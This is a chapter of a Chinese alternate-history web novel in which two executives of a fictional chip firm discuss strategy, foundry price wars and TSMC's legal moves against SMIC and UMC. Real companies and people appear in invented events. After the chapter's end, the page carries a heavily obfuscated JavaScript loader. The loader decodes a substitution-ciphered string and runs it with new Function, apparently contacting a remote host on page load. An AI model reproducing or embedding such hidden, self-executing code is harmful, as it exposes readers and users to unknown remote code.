人的基本需求被满足之后会想追求更高层次的东西。
老实讲关建英过去在硅谷从业的二十年还是有一定的积累,说低层次的财富自由不为过。
来新芯半导体之后,拿到的期权随便混混也能实现较高层次的财富自由了,这时候人就会有更多的追求。
像关建英这样在半导体行业干了一辈子的老兵来说,更高层次的追求自然和半导体相关,他是真心希望把新芯张江的研发团队打造成一只业内足够有战斗力的团队。
会被周新忽悠着回张江开荒,多少有点家国情怀在心中。
当时周新劝关建英回国,包括在国内参与到新芯科技的日常经营管理中来,关建英对周新想做什么有大致的了解。
说到底会来张江开荒的华国工程师都有差不多的目的,那就是在华国发展芯片产业。
因为能被关建英看上的都有两把刷子,即便硅谷受到纳斯达克泡沫破裂影响大批芯片产业裁员,像他们这种有两把刷子的工程师不至于找不到工作。
再不济在当下这个年代在阿美利肯随便找个活干工资都比华国的高级白领更多。
虽然关建英很肯定周新有想发展华国芯片产业的想法,但是不代表周新非得用他们这帮人,干的不行就换人,关建英在硅谷干的时候类似的事情见得多了。
因此出于自身利益考量、更高层次追求、为团队其他员工考虑,关建英都希望能做出成绩来。
在公司内部同样是一个争取资源的过程,光是新芯科技,内部有光刻机、芯片设计、芯片代工、工业软件、消费电子等多个板块多个领域。
这里的工业软件是指EDA,芯片设计的辅助软件,胡正明加入新芯之后,新芯科技全资收购了思略半导体。
在收购思略半导体之后,新芯在慢慢把思略半导体搬到华国来。
凭什么芯片设计每年的分红最多,绩效工资拿大头?还不是因为有蓝牙芯片、Mphone的A系列芯片和手机集成芯片这三款拳头产品撑着。
这三款拳头产品决定了芯片设计领域创收最多,从公司绩效设计上能分到最多的绩效工资。
其他领域的员工和管理者们也不会有意见,因为收入就是底气,底气摆在这里,别人来闹也没用。
但是关建英清楚是怎么一回事,不管是蓝牙芯片还是A系列芯片说白了都是硅谷团队的成果。
而手机集成芯片是他们的研发成果,这一成果研发难度有限,有这样的想法完全是胡正明对华国市场的充分调研后提出的,他们的功劳同样有限。
躺在这样的成绩单上享受着最好的资源,关建英这个浓眉大眼宽头方脸长相的中年男人感觉不那么自在。
他希望借助智能手机芯片的研发锻炼队伍,更是为他们团队证明,薪水和实力是匹配的。
胡正明听完后笑了笑:“老关,我完全理解你,大家来华国开荒没有谁内心压力是不大的。
以我本人为例,来新芯科技之后比我当年在硅谷打两份工还更累。
当时我同时在伯克利上课,然后一边在搞思略半导体,有的时候还接了一些其他公司的活。
但是一点都不累,我感觉自己做的游刃有余,生活和工作之间平衡的很好。
甚至还有时间来华国这边做学术交流,开学术讲座。
来新芯之后我感觉自己就像个陀螺一样,一直被各种各样的事情推着走,同时还要做出正确的决策。
从现在回过头来看,无论是手机集成芯片还是小米电子,都是正确的战略规划。
这两步为我们争取到了时间和空间,我们同时实现了效益和规模的双重收获。”
胡正明没有做过多解释,因为他们在内部高管会议上谈论过很多次。
这里的争取到了时间和空间是指,新芯科技借助小米电子和手机集成芯片实现了新芯科技内部不同芯片产业间的协同效应,形成了业态联动。
如果没有这两款产品,新芯科技的利润来源完全靠蓝牙芯片和A芯片,这两款芯片都有一个巨大的问题,那就是他们要用到先进制程,而先进制程华国没有。
也就是说这两款芯片卖的再好,新芯科技也只能享受到芯片设计和销售带来的收益,对芯片代工、半导体设备和工业软件是没有帮助的。
没有帮助的意思就是,这两款芯片不能帮他们培养队伍,把设备、资金、人才等等各类资源给运转起来。
对半导体企业来说,把这些资源运转起来是最关键的事,运转的越多越好,哪怕亏本也在做不惜。
像三星在存储芯片下跌周期的时候逆势扩张,哪怕亏本也不能断了生产。
对于新芯来说同样如此,蓝牙芯片和A芯片是重要利润来源没错,靠这两款产品就实现了大幅盈利同样没错,但是只有这两款产品,新芯科技只能成为一家芯片设计公司。
无法成为像三星那样横跨多个半导体领域的巨头。
因此新芯科技在开董事会的时候,给予了小米电子和手机集成芯片极高的评价,认为这两个板块的成功对新芯科技的意义比蓝牙芯片和A芯片还要更重要。
华为的消费者业务对华为来说生死攸关,为什么?因为它能把内部很多技术给消化掉,让内部的研发投入有明确的产出,让整个企业不会陷入一个只有研发没有产出的囚徒困境中去。
小米电子和手机集成芯片业务对新芯科技的重要性比消费者业务对华为的重要性更甚。
胡正明继续说:“在做决定之前我同样面临巨大的压力。
华国有大量的消费电子品牌,除了联想、惠普、戴尔这些巨头外,还有大大小小的电子品牌,我们做个人电脑真的有市场吗?
走极致性价比路线会不会受到同行打压,受到来自四面八方的舆论冲击。
包括手机集成芯片,这样明显很有市场,但是为什么没有企业做?是研发上有坑,还是企业不买账,还是监管不允许这样的产?
我几乎每天都会更新自己的问题清单,然后挨个去确认,要么去做调查,要么去问人,来满足我自己内心的疑惑和不安。
现在回过头去看这两个决定很正确,有很好的成绩和很好的效果,让新芯有了成为跨领域巨头的可能性。
但是如果这两块业务失败了会怎么样?也许我们还是能做成跨领域的巨头。
但是生死会被掌握在别人手里,我们的芯片代工业务只能像中芯国际一样,和台积电大打价格战。
台积电的芯片代工业务价格是多少,中芯国际就是他们的七折甚至五折。
不要营收和利润也要把企业规模维持住,维持企业的运转。”
中芯国际初期完全就是从台积电口里抢吃的,台积电快要拿下的订单,中芯国际跑去和客户说我只要七折的价格,甚至还答应帮客户承担缺陷芯片的成本。
后世苹果在3nm芯片代工上就逼迫台积电承担缺陷芯片的生产成本,相当于台积电仅向苹果收取那些良品芯片的费用。
这对于芯片代工企业来说无疑是很难接受的,早期中芯国际在帮德州仪器代工90nm芯片的后半段的时候就接受过类似的条款。
胡正明说:“去年的时候张汝京他们帮德州仪器代工130nm的芯片,最近在和他们聊的时候,他们预计在今年年底的时候会帮德州仪器代工90nm的芯片。”
关建英有些惊讶的看着胡正明:“老胡,中芯国际有办法绕开瓦森纳协定的限制?
他们能进口90nm的关键设备?”
胡正明摇头:“他们只是帮德州仪器做90nm芯片的后半段,相当于德州仪器做完大部分工序,然后剩下的部分交给中芯国际。
本来这块业务台积电都要拿下了,他们有90nm的能力,他们做起来得心应手。
结果中芯国际靠着不惜一切的成本优势还是拿下了,这也是为什么台积电要不顾一切起诉中芯国际的原因。”
台积电在阿美利肯的北加州联邦法院起诉中芯国际,认为中芯国际通过各种不当的方式取得台积电商业秘密及侵犯台积电专利。
胡正明继续说:“如果我们要靠外力来做芯片代工业务,也只有降价一条路,本身这一领域中芯国际打价格战就已经够凶了。
我们再进入的话,价格战的惨烈程度还要更上一层楼。
我不知道中芯国际的技术是怎么来的,但是老实说我们都做芯片做了这么多年,中芯显然有从台积电那边搞来一些技术。
我们是买的,他们是通过一些不那么光明正大的手段获得的。
这也导致我们的成本比中芯国际要更高,在价格战上劣势会更大。
打价格战的话需要不断输血维持规模,这是一件很可怕的事情。
小米电子和手机集成芯片的成功让我们走出了这样的困境,让新芯的主动权牢牢掌握在我们手里。
因此我想说的是,做之前别担心太多,付出全力去做就好了。
你觉得现在的团队没有积极性,就去招人,以新芯科技的待遇,去弯弯、狮城和高丽招人轻轻松松。
你不还有那么多招人名额没有用完吗?
觉得团队效率变低的最好方式就是加人。”
如果没有新芯科技的异军突起,台积电、联电和中芯国际将占据芯片代工市场超过百分之八十的份额。
联电就是联发科,靠着手机集成芯片大赚特赚。
新芯科技的出现,让这三家企业的日子都不太好过,正是因为日子不太好过,台积电才比原时空更早动手。
他们的手段不仅仅是去阿美利肯起诉中芯国际,还包括从弯弯入手同时打击中芯国际和联电。
弯弯新竹地检署法官陈荣林带领120余名调查员在没有和联电董事长曹兴诚沟通的前提下,对联华电子展开大搜索,取走许多账册资料和计算机档案。
与此同时,联电副董事长宣明智以及大陆和舰科技董事长徐建华的住所也遭到有关方面“搜索”。徐建华后续还被关进去询问,被保释出来之后依然被禁止出境。
两套组合拳下来打的联电和中芯国际都有点懵。
最大原因就是市场不好做,台积电也想打击新芯科技,问题是找不到把柄,专利嘛有合同为证,新芯科技是明码标价买的。
新芯科技也不打价格战,他们自己内部的业务就够做了,没有必要去和台积电打价格战抢客户。
从行政上打击,华国压根不会鸟台积电,和新芯相比,台积电在国内的关系网络可以说是没有。
至于在阿美利肯,台积电的关系网络同样不如新芯,那就只好拿同为兄弟的联电和仇人中芯国际下手。
关建英听完后点头:“我会想个办法的。
还是台积电狠啊,我听我在联电的朋友说,曹兴诚压根不知道这件事,新竹方面提前一点风声都没有透露出来。”
胡正明说:“嘿嘿说白了还是政治博弈。
老曹还是太嫩了,我和他也很熟,联电通过和舰科技这个壳把技术卖给中芯国际。
说白了这件事在做之前,老曹已经上上下下都打点过了。
包括立审委在内的各个要害部门,老曹都已经摆平了,事前也评估过风险,他怎么可能随便就干这件事,要知道他之前可是KMT内阁参赞,和各个大佬都很熟。
在2000年以前的时候老曹就想参股申海贝岭,当时贝岭在建8英寸的晶圆厂,贝岭当时只有一座4英寸的晶圆厂,老曹的参股对他们来说是极大助力。
其实老曹一直都想到大陆来插一脚,之前一直没合适的机会,和舰科技属于是难得的契机。
只是没想到他们的政治博弈出了新的变化,导致他完全没有准备就被查。”
关建英好奇道:“他为啥一直想来大陆插一脚?”
这就充分证明了两人的圈子不一样,胡正明和曹兴诚认识,还打过不少交道,关建英只认识联电的核心骨干。
(本章完)
(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();